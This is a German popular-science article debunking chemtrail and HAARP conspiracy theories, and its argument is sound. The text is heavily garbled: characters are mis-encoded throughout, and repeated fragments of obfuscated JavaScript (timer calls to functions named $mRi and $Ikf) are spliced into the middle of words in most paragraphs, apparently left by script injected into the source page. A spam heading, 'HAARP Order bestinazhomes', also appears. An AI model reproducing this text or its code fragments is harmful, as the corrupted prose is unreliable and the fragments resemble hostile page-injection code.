VerschwA�rungstheorien

VerschwA�rungstheorien: Sie wollen uns alle tA�ten!
Florian Aigner
Werden wir vergiftet, manipuliert, belogen? VerschwA�rungstheorien gibt es viele, doch wissenschaftlicher A?berprA?fung halten sie in den allermeisten FA�llen nicht standom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and.
Kein Zweifel: Wir erfahren nicht immer die volle Wahrheit. Es gibt Politiker, die lA?gen, es gibt Journalisten, die schlecht recherchieren, es gibt Firmen, die Information unter den Teppich kehren. In der modernen Medienwelt tut ein bisschen Skepsis ganz gut.
Doch leider kann man dabei auch ins Extreme abgleiten, sich von der Vorstellung gefangen nehmen lassen, dass dunkle MA�chte da drauAYen uns alle in der Handom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and hA�tten, uns schaden wollen und uns von der eigentlichen Wahrheit fernhalten. Im Internet tauschen sich AnhA�nger solcher Theorien dann aus, verstA�rken einandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}ander in ihrer Angst und erarbeiten auf diese Weise oft ausgefeilte GedankengebA�ude, die mit einer rationalen, wissenschaftlichen Betrachtung der Fakten lA�ngst nichts mehr zu tun haben.
Chemtrails
So hA�lt sich etwa hartnA�ckig die Theorie, dass die Streifen, die Flugzeuge A?ber den Himmel ziehen, in vielen FA�llen keine gewA�hnlichen Kondensstreifen sind, sondern gefA�hrliche Chemtrails. Die Regierungen (oder andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andere mA�chtige Gruppierungen) sorgten dafA?r, so heiAYt es, dass von den Flugzeugen aus schA�dliche Stoffe versprA?ht werden, um uns allen zu schaden.
Die in Internet hA�chst aktive Chemtrail-Szene ist selbst nicht einig, woraus diese Chemtrails eigentlich bestehen sollen. Man liest von Barium, Aluminium, radioaktiven Stoffen, Kunststoffasern, Viren, Bakterien oder sogar von genmanipulierten Mikroorganismen. Auch A?ber die angeblichen Ziele der Chemtrail-VerschwA�rung gibt es unterschiedliche Aussagen. Sie reichen von der Theorie, man wolle uns vergiften um die WeltbevA�lkerung zu reduzieren bis zur A?berlegung, man versuche, die BevA�lkerung durch psychoaktive Substanzen ruhig und gefA?gig zu machen.
Aus wissenschaftlicher Sicht ist die Sache recht einfach zu durchschauen: RuAYpartikel werden vom Flugzeug ausgestoAYen, und bei passenden Wetterbedingungen kann sich an ihnen Wasserdampf festsetzen, so entsteht ein Kondensstreifen. Oft sind die A�uAYeren Bedingungen am Himmel lokal recht unterschiedlich und so ist es absolut mA�glich, dass ein Flugzeug einen Kondensstreifen hinterlA�sst, ein andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}anderes, das gleichzeitig ein StA?ck davon entfernt seine Bahn zieht, allerdings nicht. Es kann auch vorkommen, dass ein Kondensstreifen beim Wechsel in eine trockenere LuftstrA�mung abreiAYt und dann wieder neu einsetzt.
All das sind gewA�hnliche meteorologische PhA�nomene, die von der Chemtrail-Community dann aber gerne als Beweis fA?r eine angebliche VerschwA�rung herangezogen werden. Kombiniert wird das dann oft mit Internetvideos von Flugzeugen, die tatsA�chlich Substanzen versprA?hen, wie das durchaus manchmal vorkommt a�� bei LA�schflugzeugen, bei Flugzeugen in Notsituationen, die vor einer Landom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andung Treibstoff ablassen mA?ssen, oder auch bei wissenschaftliche Experimenten.
WA?rde man tatsA�chlich Substanzen mit Flugzeugen quer A?ber den Himmel verteilen, mA?ssten unzA�hlige Personen zum Kreis der eingeweihten VerschwA�rer gehA�ren a�� das Flugpersonal an Bord, Helfer an den FlughA�fen, die Treibstofffirmen, die Politik. ZusA�tzlich mA?sste aber auch die gesamte wissenschaftliche Welt mit den Chemtrail-VerschwA�rern unter einer Decke stecken. Denn von oben versprA?hte Stoffe kA�nnte man natA?rlich jederzeit nachweisen. Mit chemischen Analysemethoden kann man heute selbst winzige Stoffmengen zuverlA�ssig aufspA?ren. Jede UmweltbehA�rde, jede Umweltchemie-Forschungsgruppe, ja sogar jede Umweltschutzorganisation, die MessgerA�te bedienen kann, mA?sste dann Teil der groAYen VerschwA�rung sein.
Wissenschaftlich ist die Chemtrail-Theorie also lA�ngst widerlegt. Dass selbst eine derart absurde VerschwA�rungstheorie A?ber viele Jahre am Leben gehalten werden kann, zeigt uns, wie mA�chtig und hartnA�ckig solche Theorien werden kA�nnen, wenn sie im Internet erst mal einen kritischen Verbreitungsgrad erreicht haben.
HAARP Order bestinazhomes
Eine Reihe von VerschwA�rungstheorien rankt sich auch um die Sendeanlage HAARP (High Frequency Active Auroral Research Program). Diese Anlage befindet sich in Alaska und wird von US-MilitA�reinheiten und US-UniversitA�ten betrieben. Erforscht wurde dort die Kommunikation A?ber lange Distanzen mit Hilfe von Kurzwellen a�� das ist weder geheim noch A?berraschend. Dass sich MilitA�rs Gedanken A?ber Kommunikation quer A?ber den Erdball machen, ist eigentlich logisch.
Weniger logisch ist allerdings, welche FA�higkeiten dieser Sendeanlage zugeschrieben wurden. Es wurde gemutmaAYt, die elektromagnetischen Wellen von HAARP kA�nnten gezielt Erdbeben auslA�sen oder sogar tektonische Platten zerreiAYen. Ganz abgesehen davon, dass dafA?r eine Energiemenge nA�tig wA�re, die von einer solchen Sendeanlage niemals auch nur annA�hernd erreicht werden kA�nnte, gibt es auch keinen physikalisch nachvollziehbaren Mechanismus, mit Hilfe dessen elektromagnetische Wellen in die Plattentektonik eingreifen kA�nnten.
Nach dem verheerenden Erdbeben auf Haiti im Jahr 2010, bei dem etwa 200.000 Menschen ums Leben kamen, tauchte die Theorie auf, das Erdbeben sei von der US-Regierung aus politischen GrA?nden gezielt verursacht worden. Auch andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andere nicht weniger realitA�tsferne Methoden der KriegsfA?hrung wurden mit HAARP in Verbindung gebracht a�� so wurde etwa auch behauptet, HAARP kA�nne durch seine Strahlung die GehirnstrA�me von Menschen beeinflussen und so das Bewusstsein ganzer VA�lker manipulieren.
In Wirklichkeit hat HAARP nur einen einzigen, ganz andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}anders gearteten Einfluss auf die Umwelt: Zu seinem Betrieb waren Dieselgeneratoren nA�tig, die natA?rlich zur Luftverschmutzung beitrugen. Das soll auch ein wichtiger Grund dafA?r gewesen sein, dass die Stilllegung von HAARP beschlossen wurde. In den nA�chsten Jahren soll die Anlage abgebaut werden. Dass das allerdings die VerschwA�rungstheorien zum Verstummen bringt, ist nicht anzunehmen.
Fazit
Man soll nicht alles glauben, was aus offiziellen Quellen kommt. Aber man soll schon gar nicht alles glauben, was man in irgendwelchen VerschwA�rungstheoretiker-Seiten im Internet oder in reiAYerischen BA?chern einschlA�gig bekannter Verlage liest. Bei Theorien A?ber dunkle VerschwA�rungen abgekapselter Gruppen, die dem Rest der Welt schaden wollen, muss man jedenfalls vorsichtig sein.
Wer schon mal eine A?berraschungs-Geburtstagsparty organisiert hat, der weiAY wie schwierig es ist, eine Sache geheim zu halten, sobald eine bestimmte Anzahl von Menschen involviert ist. Die Vorstellung, es gA�be geheime MA�chte, die die gesamte Menschheit dauerhaft zum Narren halten, erscheint in Anbetracht dessen ziemlich unrealistisch.